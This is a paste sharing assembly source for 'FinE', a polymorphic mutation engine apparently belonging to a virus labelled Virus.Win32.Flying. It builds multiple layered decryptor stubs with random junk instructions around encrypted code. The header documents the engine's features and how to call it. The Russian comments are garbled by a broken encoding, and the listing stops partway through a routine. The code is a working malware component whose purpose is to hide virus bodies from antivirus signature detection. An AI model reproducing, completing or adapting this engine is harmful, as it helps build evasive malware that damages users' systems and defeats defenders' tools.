Advertisement
FlyFar

Virus.Win32.Flying - Source Code

Jun 20th, 2023
1,054
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 76.90 KB | Cybersecurity | 0 0
  1. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
  2. ;                                                                                                        ;
  3. ;                                                                                                        ;
  4. ;                         xxxxxxxxxxx                        xxxxxxxxxxx                                 ;
  5. ;                         xxxxxxxxxxx                        xxxxxxxxxxx                                 ;
  6. ;                         xxxx          xxxx   xxxxxxxxxx    xxxx                                        ;
  7. ;                         xxxx          xxxx   xxxxxxxxxxx   xxxx                                        ;
  8. ;                         xxxxxxxx             xxxx   xxxx   xxxxxxxx                                    ;
  9. ;                         xxxxxxxx      xxxx   xxxx   xxxx   xxxxxxxx                                    ;
  10. ;                         xxxx          xxxx   xxxx   xxxx   xxxx                                        ;
  11. ;                         xxxx          xxxx   xxxx   xxxx   xxxx                                        ;
  12. ;                         xxxx          xxxx   xxxx   xxxx   xxxxxxxxxxx                                 ;
  13. ;                         xxxx          xxxx   xxxx   xxxx   xxxxxxxxxxx                                 ;
  14. ;                                                                                                        ;  
  15. ;                                                                                                        ;
  16. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
  17. ;                                   Flying mutatIoN Engine                                               ;
  18. ;                                           FinE                                                         ;
  19. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
  20. ;                                                                                                        ;
  21. ;                                           :)!                                                          ;
  22. ;                                                                                                        ;
  23. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
  24. ;                                                                                                        ;
  25. ;                                       ������� FINE                                                     ;
  26. ;                                �������� ����������� ������                                             ;
  27. ;                                                                                                        ;
  28. ;                                                                                                        ;
  29. ;����:                                                                                                   ;
  30. ;1 �������� (� ������������) - ����� ��������� (MORPHGEN) (�� �������� ������ ����)                      ;
  31. ;--------------------------------------------------------------------------------------------------------;
  32. ;�����:                                                                                                  ;
  33. ;EAX - ����� ���������� ���������� � ������������� �����                                                 ;
  34. ;ECX - ������ ���������� ���������� � ������������� �����                                                ;
  35. ;+ ������ ���� �� ������ � ����. ���� ��������� (������ ����)                                            ;  
  36. ;--------------------------------------------------------------------------------------------------------;
  37. ;�������:                                                                                                ;
  38. ;���������, ��������� �� ������� ������� � �������� ���������, �� ��������, �.�. ������ � ��� �����      ;
  39. ;������ ������������ ������ �������� ���� �� (�����, �����, ���������� ��������������� ��� ���������).   ;
  40. ;                                                                                                        ;
  41. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;  
  42. ;                                                                                                        ;
  43. ;                                           !                                                            ;
  44. ;                                                                                                        ;
  45. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
  46. ;                                                                                                        ;
  47. ;                                   �������� ���������                                                   ;
  48. ;                                        MORPHGEN                                                        ;
  49. ;                           (0 - ������� ��������, 1 - ��������)                                         ;
  50. ;                                                                                                        ;
  51. ;                                                                                                        ;
  52. ;MORPHGEN   struct                                                                                       ;
  53. ;   rgen_addr           dd  ?   ;����� ���������� ��������� ����� (���)                             (0)  ;
  54. ;   tgen_addr           dd  ?   ;����� ���������� �������� ����������                               (0)  ;  
  55. ;   cryptcode_addr      dd  ?   ;����� ����, ������� ���� �����������                               (0)  ;
  56. ;   size_cryptcode      dd  ?   ;������ ����, ������� ���� �����������                              (0)  ;
  57. ;   pa_buf_for_morph    dd  ?   ;���. ����� ������, ���� �������� ��������� � ����������� �����     (0)  ;
  58. ;   va_buf_for_morph    dd  ?   ;����. ����� ������, ���� �������� ��������� � ����������� �����    (0)  ;  
  59. ;   buf_with_morph      dd  ?   ;���. �����, ��� ���������� ��������� ��������� � ����������� ����� (1)  ;  
  60. ;   size_morph          dd  ?   ;������ ������ ��� ���������� ���������� � ����������� �����        (1)  ;
  61. ;   mapped_addr         dd  ?   ;���������������   (���� ���� ������� (��� ����� ����� � ������))   (0)  ;  
  62. ;   reserv1             dd  ?   ;���������������                                                    (0)  ;  
  63. ;MORPHGEN   ends                                                                                         ;
  64. ;                                                                                                        ;
  65. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
  66. ;                                                                                                        ;
  67. ;                                   �������� ���������                                                   ;
  68. ;                                         TGEN                                                           ;
  69. ;                                    (aka TRASHGEN)                                                      ;
  70. ;                       (����� ��������� �������� ������ � ������ xTG)                                   ;
  71. ;                                                                                                        ;
  72. ;                                                                                                        ;
  73. ;TRASHGEN   struct                                                                                       ;
  74. ;   rgen_addr       dd      ?   ;����� ���������� ��������� ����� (���)                                  ;
  75. ;   buf_for_trash   dd      ?   ;����� (�����), ���� ���������� ������������ (���, ������������) ������  ;
  76. ;   size_trash      dd      ?   ;������ (� ������), ������� ������ ��������                              ;
  77. ;   regs            dd      ?   ;������� �������� (2 ��)                                                 ;
  78. ;   xmask1          dd      ?   ;64-������ ����� ��� ���������                                           ;
  79. ;   xmask2          dd      ?   ;�������� ������ (��� ������)                                            ;
  80. ;   beg_addr        dd      ?   ;��������� �����                                                         ;
  81. ;   end_addr        dd      ?   ;�������� �����                                                          ;
  82. ;   mapped_addr     dd      ?   ;��������������� (���� ���� ������� (��� ����� ����� � ������))          ;  
  83. ;   reserv1         dd      ?   ;��������������� (��, ����� �����-�� ��� ��� � �����)                    ;
  84. ;TRASHGEN   ends                                                                                         ;
  85. ;                                                                                                        ;
  86. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
  87. ;                                                                                                        ;
  88. ;                                           !                                                            ;
  89. ;                                                                                                        ;
  90. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
  91. ;                                                                                                        ;
  92. ;                           ��������� � ����� ��������� MORPHGEN:                                        ;
  93. ;                                                                                                        ;
  94. ;                                                                                                        ;
  95. ;[   rgen_addr   ] :                                                                                     ;
  96. ;                    ��� ��� ������ ������ (FINE) ���������� ��� �������� � ������-���� ������� ������,  ;
  97. ;                    � ��� ��������� ������ (� ��������� ������ ���) ����� ���, ������� ����� ���        ;
  98. ;                    �������� � (������) ���� ���������.                                                 ;
  99. ;                    �����: ���� ����� FINE ����� ������������ ������ ��� (� �� ���, �������             ;
  100. ;                    ���� � ��� � ���������), ����, ����� ���� ������ ��� �������� � �������� 1-��       ;
  101. ;                    (� �������������!) ��������� � ����� ����� (������� ��� N), ��� ��� ����� ����� �   ;
  102. ;                    ��������� [0..n-1]. � �� ������ ������ ��� ������ ���������� � EAX ��������� �����. ;  
  103. ;                    ��������� �������� ������ �������� �����������. ���.                                ;
  104. ;--------------------------------------------------------------------------------------------------------;
  105. ;[   tgen_addr   ] :                                                                                     ;
  106. ;                    ����������, ��� � � ���������� ����� ���������. ������ ����� ��������� ������       ;
  107. ;                    ������ ���� �������� � ����, ��� xTG (� �������� ����� ����� ���������� ���� � ���  ;
  108. ;                    ���-���).                                                                           ;
  109. ;--------------------------------------------------------------------------------------------------------;
  110. ;[ cryptcode_addr ]                                                                                      ;
  111. ;        &                                                                                               ;
  112. ;[ size_cryptcode ]:                                                                                     ;
  113. ;                    �����, ����� � ��� ��� ����.                                                        ;
  114. ;--------------------------------------------------------------------------------------------------------;
  115. ;[pa_buf_for_morph] :                                                                                    ;
  116. ;                    � ���� ���� �������� ���������� ����� ����������� ������ ��� �������� ����������.   ;
  117. ;                    ����� ����� �������� �������� VirtualAlloc etc (��� ������). ���� �� ������         ;
  118. ;                    ��������� � ������ ������, ������ ����� ������ ����� ����� �����:                   ;
  119. ;                    0x3000 + ������ ����, ������� ���� ����������� (������ ���� � �������).             ;
  120. ;                    ����� ����� �������, ���:                                                           ;
  121. ;                       1) ���������� ����� ������ ���� �������, �.�. �������� ������ �� ������� ����    ;
  122. ;                          (��-�� ��������� ������� ������ (������ ���������));                          ;
  123. ;                       2) ��� ������, ������� ����� �������� ��� ������� ������? �������: ������,       ;
  124. ;                          ( ������ ����, ������� ���� ����������� )                                     ;
  125. ;                                           +                                                            ;
  126. ;                          ( 30 (max ���-�� �������� ������, ���, �� �� ������� �� ���������) *          ;
  127. ;                            ������ ������ )                                                             ;
  128. ;                                           +                                                            ;
  129. ;                          ( 15 (��� ����� �������� �������) *30 )                                       ;
  130. ;                                           +                                                            ;
  131. ;                                   �� ������ ������                                                     ;
  132. ;                    ������, ����� ���: ���� ���������, ������ ������ ������ �����.                      ;
  133. ;                    ���: ���� ������������ ��������������������, �� ���� �������� ��� ������ �����.     ;
  134. ;                    ���: ���� �� ������ �������, � �������, 3 ���������� c ������� ������ 100 ����,     ;
  135. ;                         �� ����� ����� �������� 0x5000 ���� + ������ ����, ������� ���� �����������.   ;
  136. ;                    �����, ���� ����, ��� ����������.                                                   ;
  137. ;--------------------------------------------------------------------------------------------------------;
  138. ;[va_buf_for_morph] :                                                                                    ;
  139. ;                    � ���� ���� ����� ����� ����� 0. ������ �������������� ��� ������ ������� call �    ;
  140. ;                    ���������� �� ���������������� �������.                                             ;
  141. ;--------------------------------------------------------------------------------------------------------;  
  142. ;[ buf_with_morph ]:                                                                                     ;
  143. ;                    � ��� ���� �������� �����, ��� ���������� ������ ��� ��������� ��������� �          ;
  144. ;                    ����������� �����. ���.                                                             ;
  145. ;--------------------------------------------------------------------------------------------------------;
  146. ;[  size_morph   ] :                                                                                     ;
  147. ;                    � ��� ���� �������� ������ (����� ����). � ��� ��� �������.                         ;
  148. ;--------------------------------------------------------------------------------------------------------;
  149. ;[  mapped_addr  ] :                                                                                     ;
  150. ;                    � ��� ���� �������� ���� ������� (��� ����� ����� � ������). �� ������ ������ � ��� ;
  151. ;                    ���� ����� ���� ����� 0 ��� ��� ������. ������, ������, ��� ��� ����                ;
  152. ;                    ���������������. ����� ���.                                                         ;  
  153. ;                                                                                                        ;
  154. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;                        
  155. ;                                                                                                        ;
  156. ;                                           y0p!                                                         ;
  157. ;                                                                                                        ;  
  158. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
  159. ;                                                                                                        ;
  160. ;                                           ����                                                         ;
  161. ;                                                                                                        ;
  162. ;                                                                                                        ;
  163. ;(+) ��������� ��������� ���������                                                                       ;
  164. ;--------------------------------------------------------------------------------------------------------;
  165. ;(+) ��������� ��������� ������ ��� ����������                                                           ;                                                                      
  166. ;--------------------------------------------------------------------------------------------------------;
  167. ;(+) ������ ���������� ������ ������                                                                     ;
  168. ;--------------------------------------------------------------------------------------------------------;
  169. ;(+) ������� ���������� ����� ���������������� �����������                                               ;
  170. ;--------------------------------------------------------------------------------------------------------;
  171. ;(+) ������� ���������� ����� �� ���� ���� �� ������ (������ jmp'���)                                    ;
  172. ;--------------------------------------------------------------------------------------------------------;
  173. ;(+) ������������� ��� � ���������� ������ (�������� �����, ��� ��� ������ ����������)                   ;
  174. ;--------------------------------------------------------------------------------------------------------;
  175. ;(+) ��������� ���������� ���������� ���� (ADD/SUB/XOR)                                                  ;
  176. ;--------------------------------------------------------------------------------------------------------;
  177. ;(+) �������������������� (����� ����� �������� ��������� ����� ���������� �����������)                  ;
  178. ;--------------------------------------------------------------------------------------------------------;
  179. ;(+) �����������������                                                                                   ;
  180. ;--------------------------------------------------------------------------------------------------------;
  181. ;(+) ��� �������� � ������ ������� (��� & trashgen ����� ����� ����� - ������� ����� ����;)              ;
  182. ;       * ����� ��������� ��� ��������������� ������;                                                    ;            
  183. ;--------------------------------------------------------------------------------------------------------;
  184. ;(+) �� ����� WinAPI                                                                                     ;
  185. ;--------------------------------------------------------------------------------------------------------;
  186. ;(+) �� ���������� ������ � ������-��������, ����� ��� ������� �����.                                    ;
  187. ;                                                                                                        ;              
  188. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
  189. ;                                                                                                        ;
  190. ;                                           y0p!                                                         ;
  191. ;                                                                                                        ;
  192. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
  193. ;                                                                                                        ;
  194. ;                                       �������������:                                                   ;
  195. ;                                                                                                        ;
  196. ;                                                                                                        ;
  197. ;1) �����������:                                                                                         ;
  198. ;       FinE.asm                                                                                         ;
  199. ;2) ����� (������ stdcall):                                                                              ;
  200. ;       ...                                                                                              ;
  201. ;       szBuf       db 100      dup (00h)                                                                ;
  202. ;       szBuf2      db 5000h    dup (00h) ;! ����������� ��������!                                       ;
  203. ;       ...                                                                                              ;
  204. ;       lea     ecx,szBuf                                                                                ;
  205. ;       lea     edx,szBuf2                                                                               ;
  206. ;       assume  ecx:ptr MORPHGEN                                                                         ;
  207. ;       mov     [ecx].rgen_addr,00401000h       ;�� ����� ������ ������ ���������� ���                   ;
  208. ;       mov     [ecx].tgen_addr,00401300h       ;�� ����� ������ ������ ���������� �������               ;
  209. ;       mov     [ecx].cryptcode_addr,00402000h  ;�� ����� ������ ��������� ���, ������� �� ����������    ;
  210. ;       mov     [ecx].size_cryptcode,100        ;������ ����� ����                                       ;
  211. ;       mov     [ecx].pa_buf_for_morph,edx      ;����� ��� �������� ���������� � ����������� �����       ;
  212. ;       mov     [ecx].va_buf_for_morph,0        ;��� ���� ���� ��� �� �������, ������� ������ ����� 0.   ;
  213. ;                                               ;[ecx].buf_with_morph   - �������� ��������              ;
  214. ;                                               ;[ecx].size_morph       - �������� ��������              ;  
  215. ;                                               ;��������� ��������� ��������.                           ;
  216. ;       call    FINE                            ;�������� ����������� ������                             ;  
  217. ;                                                                                                        ;
  218. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
  219. ;                                                                                                        ;
  220. ;                                       ������ ����������:                                               ;
  221. ;                                                                                                        ;
  222. ;                                                                                                        ;
  223. ;       call            imm32           ;����� ����������� ������� ��������������� ����������            ;
  224. ;       pop             reg1            ;� ����������� � �������� reg1                                   ;
  225. ;       push            imm32           ;� ���� �������� ������ ����, ������� ���� ������������          ;
  226. ;       add             reg1,imm32      ;������� reg1 ��������� �� ����� ����, ������� ���� ������������ ;
  227. ;       mov             reg2,imm32      ;� reg2 ���������� ���� ��� ����������� ����                     ;
  228. ;   --> xor/add/sub     [reg1],reg2     ;����������� ����                                                ;
  229. ;   |   xor/add/sub     reg2,imm32      ;���� ���������� �������� ����������                             ;
  230. ;   |   dec             reg1            ;��������� �� 1 reg1                                             ;
  231. ;   |   dec             [esp]           ;��������� �� 1 ������                                           ;
  232. ;   ----jne             imm32           ;������� �� ����������� ����                                     ;
  233. ;       pop             reg             ;��������������� ����                                            ;
  234. ;                                                                                                        ;
  235. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
  236. ;v1.0.1    
  237. ;������� ������ ������� �����, ������� �������� ������� � ���.
  238.  
  239.  
  240.  
  241.  
  242.                                                     ;m1x
  243.                                                 ;pr0mix@mail.ru
  244.                                             ;EOF
  245.  
  246.  
  247.  
  248.  
  249.  
  250. ;========================================================================================================
  251.  
  252. ;========================================================================================================
  253. ;��������� MORPHGEN, ����������� ��� ������� ����������
  254. ;========================================================================================================
  255. MORPHGEN    struct
  256.     rgen_addr           dd      ?
  257.     tgen_addr           dd      ?
  258.     cryptcode_addr      dd      ?
  259.     size_cryptcode      dd      ?
  260.     pa_buf_for_morph    dd      ?
  261.     va_buf_for_morph    dd      ?
  262.     buf_with_morph      dd      ?
  263.     size_morph          dd      ?
  264.     mapped_addr         dd      ?
  265.     reserv1             dd      ?
  266. MORPHGEN    ends
  267.  
  268. ;========================================================================================================
  269. ;��������� TGEN, ����������� ��� ������� ���������� (aka TRASHGEN, �������� ������ � xTG)  
  270. ;========================================================================================================
  271. TGEN    struct
  272.     rgen_addr       dd      ?
  273.     buf_for_trash   dd      ?
  274.     size_trash      dd      ?
  275.     regs            dd      ?
  276.     xmask1          dd      ?
  277.     xmask2          dd      ?
  278.     beg_addr        dd      ?
  279.     end_addr        dd      ?
  280.     mapped_addr     dd      ?
  281.     reserv1         dd      ?  
  282. TGEN    ends
  283. ;========================================================================================================
  284.  
  285. num_decrypts            equ     3               ;���������� ����������� �����������
  286. mtrash1                 equ     0FFFFFFFFh      ;����� ��� �������� (���� �� �� �����) - ����� ��������� ��� ��������� ������������������ ������ ��� ��������� �����  
  287. mtrash2                 equ     000h            ;������ �������� �����
  288.  
  289. num_general_instr       equ     11              ;���������� �������� ������ (������ ����������, �� ���� ������ ����� ����)
  290. size_general_instr      equ     15              ;������������ ������ ����� �������� �������  (����� ���������, � ������� �� 10 etc)
  291. num_steps               equ     30              ;������� (� ��� ����� ����)
  292. portion                 equ     100             ;���� ������ ������
  293. max_portion             equ     portion*num_general_instr+size_general_instr*num_general_instr  ;������������ ������ ����� ������ ������)  - ��� ������ ��� ��������, ��� ������ �����������, ��� ������� ������������ � ��������� ������� (������ ��������)  
  294. min_portion             equ     50              ;����������� ������ ������ ������
  295.  
  296. addr1                   equ     000h            ;��������� � �������� ������ ��� �������� (���� �� �� �����)
  297. addr2                   equ     000h
  298.  
  299. ;========================================================================================================
  300.  
  301.  
  302.  
  303.  
  304.  
  305.  
  306.  
  307.  
  308. FINE:
  309.     pushad                                      ;save all regs  
  310.     cld
  311.     mov     edx,dword ptr [esp+24h]             ;� edx - ��������� �� c�������� MORPHGEN  
  312.     assume  edx:ptr MORPHGEN
  313.     mov     ecx,[edx].size_cryptcode            ;ecx - ������ ����, ������� ���� �����������
  314.     mov     esi,[edx].cryptcode_addr            ;esi - ����� ����� ����
  315.     mov     edi,[edx].pa_buf_for_morph          ;edi - ����� (�� �� �����), ���� ������� ��������� � ������������� �����
  316.     xor     eax,eax                             ;����� ������ � ���� (� ��������� ��������� ����) ��������� TGEN (aka TRASHGEN)
  317.     push    eax                                 ;reserv1
  318.     push    [edx].mapped_addr                   ;mapped_addr  
  319.     push    addr2                               ;end_addr
  320.     push    addr1                               ;beg_addr (��� ��� ����� � ������ xTG)
  321.     push    mtrash2                             ;64-������ ����� ��� ��������� ������
  322.     push    mtrash1
  323.     push    eax;regs                            ;�������� (���� ������ ����, � ��������� �������� �����, ������ ���������)
  324.     push    eax;portion                         ;������ ������, ������� ���� �������������
  325.     push    eax;buf_for_trash                   ;�����, ���� ���������� ������ ������
  326.     push    [edx].rgen_addr                     ;���
  327.     mov     ebp,esp                             ;���������� �� ������ ��������� ����� ������� ebp
  328.     assume  ebp:ptr TGEN                        ;[ebp+-00]
  329.     mov     eax,num_decrypts                    ;���������� �����������
  330. _next_decrypt_:
  331.     push    eax                                 ;[ebp-04]
  332.     call    morph                               ;[ebp-08]     ;�������� ������� �������� ���� ���������� � ����������� �����  
  333.     mov     esi,edi                             ;esi ������ ������ ������ ������ ��� ���������� ����������
  334.     add     edi,ecx                             ;edi ��������� �� ����� ������ ��� ���������� ���������� + ����������� �����  
  335.     pop     eax
  336.     dec     eax                                 ;��������� �������
  337.     jnz     _next_decrypt_                      ;���� ����� ��� �������� ���������?
  338.     add     esp,10*4                            ;����� ��� ��� ���� ��������, ����������� ����
  339.     sub     edi,ecx                             ;������������ edi �� ������ ���������� ���������� ����������
  340.     mov     [edx].buf_with_morph,edi            ;�������� ��� �������� � ���������
  341.     mov     [edx].size_morph,ecx                ;� ����� �������� ������ ������� ���������� + ������������ ������
  342.     mov     dword ptr [esp+1Ch],edi             ;EAX=EDI
  343.     mov     dword ptr [esp+18h],ecx             ;ECX=ECX  
  344.     popad                                       ;��������������� ��������
  345.     ret     4                                   ;�������
  346. ;========================================================================================================
  347. morph:
  348.     call    gen_reg                             ;�������� ������� ��������� ������� ��������� (������������) (2 ��)    
  349.     push    edi                                 ;[ebp-12]     ��������� edi � �����
  350.     push    portion                             ;����������� � ����� ������ 1-�� ������ ������
  351.     call    [edx].rgen_addr
  352.     add     eax,41                              ;�� ��������                                        
  353.     call    gen_trash  
  354. ;--------------------------------------------------------------------------------------------------------
  355.     push    edi                                 ;[ebp-16]     ;����� ����� ����� ���������� (����� ��� ������ ���������� ���������� ������)
  356.     push    edi                                 ;[ebp-20]     ;����� ����� ����� call $+5 (���������� ����� � reg1)    
  357.     call    instr___call                        ;CALL $+value
  358.  
  359.     call    instr___pop__reg                    ;POP reg1
  360.  
  361.     call    instr___push__imm                   ;PUSH <size>
  362.  
  363.     push    edi                                 ;[ebp-24]     ;�������� ��� ����� (� ������������� ������� ��� ��������� �������������), ����� ����� �������� ���������� ������ ����� �� ����� ������  
  364.     call    instr___add__reg_imm                ;ADD reg1,<trash+size=����� ����� ������������� ����>
  365.  
  366.     push    edi                                 ;[ebp-28]     ;�������� � ��� �����, ����� ����� ������ ����1, �� �������� � ����� �������������� ������ (���)
  367.     call    instr___mov__reg_imm                ;MOV reg2,key1
  368.  
  369.     push    edi                                 ;[ebp-32]     ;�������� ����� � ���� �����, ��� �������� ������� ����� ��������� ������ ����  
  370.     push    edi                                 ;[ebp-36]     ;����� �������� ����� - ����� ��� ��������� �����  
  371.     call    instr___addxorsub__addrreg_reg      ;ADD/XOR/SUB dword ptr [reg1],reg2  
  372.  
  373.     push    edi                                 ;[ebp-40]     ;���� ����� ������ ����2, �� ���� ���� ����� ���������� ����1  
  374.     push    edi                                 ;[ebp-44]     ;����� �������� 2-�� ����� - ����� 2-�� ���� ��� ��������� 1-��� ����� �����          
  375.     call    instr___addxorsub__reg_imm          ;ADD/XOR/SUB reg2,key2  
  376.  
  377.     call    instr___dec__reg                    ;DEC reg1
  378.  
  379.     call    instr___dec__addresp                ;DEC dword ptr [esp], JNE <value32>  
  380.  
  381.     call    instr___pop__reg                    ;POP reg  
  382. ;--------------------------------------------------------------------------------------------------------    
  383.     push    portion
  384.     call    [edx].rgen_addr                     ;��������� ������� ���������, ������� ������ (� ������) ��������
  385.     push    eax
  386.     add     eax,ecx                             ;������� ������ ������, ������� ���� ����� ������������ �����������
  387.     call    goto_free_addr                      ;� ������� ������� ��������� ���������� ���������� ������ � �������� (�������) ����������, � �� ����� ������ � ����� ������ ����������
  388.  
  389.     add     eax,(max_portion+portion+portion+min_portion)   ;����� ������������� (����� ��� ��������� ����������) ������ ������    
  390.     add     dword ptr [ebp-16],eax              ;� ������� � ������������� ������ (�� ��������� ������ �� ��������� �����, ���� ����� ���������� ��������� ��������� etc)  
  391.     pop     eax
  392.     call    gen_trash                           ;���������� ������ ������  
  393. ;--------------------------------------------------------------------------------------------------------
  394.     push    -1
  395.     call    [edx].rgen_addr
  396.     xchg    eax,ebx                             ;� ebx ������ �������� ����1
  397.     push    -1
  398.     call    [edx].rgen_addr
  399.     push    eax                                 ;[ebp-48]     ;� � ����� ������ �������� ����2
  400. ;--------------------------------------------------------------------------------------------------------
  401.     mov     eax,dword ptr [esi]                 ;� �������� ��������� ���
  402.     add     esi,4  
  403. _crypt_:
  404.     ;mov        eax,dword ptr [esi]
  405.     cmp     dword ptr [ebp-36],1                ;optimization!     ;�������, ����� �������� �������� �� ��������, � �������� ������������ ��� �����������
  406.     jl      _xor03_                                                        
  407.     jg      _add03_
  408. _sub03_:
  409.     sub     eax,ebx
  410.     jmp     _chg_key1_
  411.  
  412. _add03_:
  413.     add     eax,ebx
  414.     jmp     _chg_key1_
  415.  
  416. _xor03_:
  417.     xor     eax,ebx
  418.  
  419. _chg_key1_:
  420.     cmp     ecx,1                               ;optimization!     ;�������, ��� ��������� ��������? ���� ��, �� �������� ����1 �� ����2 ��� �� ����  
  421.     je      _write_crypt_data_
  422.     cmp     dword ptr [ebp-44],1                ;optimization!     ;������� ����� ��� �� ������������ ��� ��������� ����1 (�� ����2)
  423.     jl      _xor04_
  424.     jg      _add04_
  425. _sub04_:
  426.     sub     ebx,dword ptr [esp]
  427.     jmp     _write_crypt_data_
  428.  
  429. _add04_:
  430.     add     ebx,dword ptr [esp]
  431.     jmp     _write_crypt_data_
  432.  
  433. _xor04_:
  434.     xor     ebx,dword ptr [esp]
  435.      
  436. _write_crypt_data_:
  437.     mov     dword ptr [edi],eax
  438.     inc     edi
  439.     lodsb
  440.     ror     eax,8                               ;����� ��������� ����, � �������� ��������� ������  
  441.     ;inc        esi
  442.     loop    _crypt_
  443. ;--------------------------------------------------------------------------------------------------------          
  444.     pop     ecx                                 ;key2
  445.  
  446.     pop     eax
  447.     pop     eax
  448.     mov     dword ptr [eax],ecx                 ;����������� �� ����� ����� ����������� ����2 � �����, �� �������� � ������� � ��������� ������ ������  
  449.  
  450.     pop     eax
  451.     pop     eax    
  452.     pop     eax
  453.     mov     dword ptr [eax],ebx                 ;����������� �� ����� �����, �� �������� � ������� � ��������� ����1  
  454.  
  455.     dec     edi                                 ;������������ edi
  456.     xchg    eax,edi                             ;����� ����������� �����, �� �������� ���� �������� ������ ����������� ���� + ����� (�� ���� reg1 ������ ��������� �� ����� ������������ ����)
  457.     pop     edi
  458.     pop     esi
  459.     sub     eax,esi
  460.     test    byte ptr [edi-1],20h;0E8h           ;����� �������, ����� ������� ���� ��������: ADD ��� SUB ? � � ���������� �� ����� �������� ���� ��������
  461.     je      _addregimm_
  462. _subregimm_:
  463.     neg     eax
  464. _addregimm_:
  465.     stosd  
  466.  
  467.     pop     ecx                                 ;�������� �����, �� �������� ����� ����� ���������� ����� ��������� (�� ������ ��� ���, ��� � edi)
  468.     pop     edi                                 ;�������� ����� ������ ������ ��� ����������� ����������
  469.     sub     ecx,edi                             ;��������� � ��������� � ecx ������ ������ ��� ����������� ���������� + ������������ ����  
  470.                
  471.     ret                                         ;�������
  472. ;========================================================================================================    
  473.  
  474.  
  475.  
  476.  
  477.  
  478. ;=====================================[CALL $+value]=====================================================
  479. instr___call:
  480.     push    portion
  481.     call    [edx].rgen_addr                     ;�������� �������� ������ 1-�� ������ ������, ������� ����� �������� � ����������
  482.     push    eax                                 ;���������
  483.     push    portion
  484.     call    [edx].rgen_addr                     ;�������� �������� ������ 2-�� ������ ������
  485.     push    eax                                 ;��������� � ���
  486.     push    portion
  487.     call    [edx].rgen_addr                     ;�������� �������� ������ 3-�� ������ ������
  488.     push    eax                                 ;� ��� ����� ��������� � �����
  489.     add     eax,dword ptr [esp+4]
  490.     add     eax,dword ptr [esp+8]               ;�������� ����� ������  
  491.     call    goto_free_addr                      ;�������� ��������� ��������� ����� � ������� �������� ����������, �� �������� ��������� ������� ������ + ������ ������� (� ������ ������ ��� call $+5)
  492.     pop     eax                                 ;����������� �� ����� ����� ����������� ������ ������
  493.     call    gen_trash                           ;������� �����
  494.     mov     al,0E8h                             ;����� ������� ������� CALL $+value
  495.     stosb
  496.     pop     eax
  497.     stosd
  498.     mov     dword ptr [ebp-20],edi
  499.     call    gen_trash                           ;���������� ��������� ������ ������  
  500.     pop     eax
  501.     call    gen_trash                           ;etc  
  502.    
  503.     ret                                         ;�� �����  
  504. ;=====================================[CALL $+value]=====================================================
  505.  
  506.  
  507.  
  508.  
  509.  
  510. ;=======================================[POP reg1]=======================================================  
  511. instr___pop__reg:
  512.     push    portion                             ;etc (������ ����)
  513.     call    [edx].rgen_addr
  514.     push    eax
  515.     push    portion
  516.     call    [edx].rgen_addr
  517.     push    eax
  518.     add     eax,dword ptr [esp+4]  
  519.     call    goto_free_addr
  520.     pop     eax
  521.     call    gen_trash
  522. ;--------------------------------------------------------------------------------------------------------
  523.     push    2                                   ;����� �������, ����� ������� ��������?
  524.     call    [edx].rgen_addr
  525.     test    eax,eax
  526.     je      _pop__reg1_                         ;POP reg1 ���
  527. ;--------------------------------------------------------------------------------------------------------
  528. _mov__reg1_addresp___add__esp_4_:               ;MOV reg1,[esp]   add esp,4    ?
  529.     mov     al,8Bh
  530.     stosb
  531.     mov     al,bh
  532.     shl     eax,3
  533.     add     al,4
  534.     stosb
  535.     mov     al,24h
  536.     stosb
  537.     pop     eax
  538.     call    gen_trash
  539.     push    portion
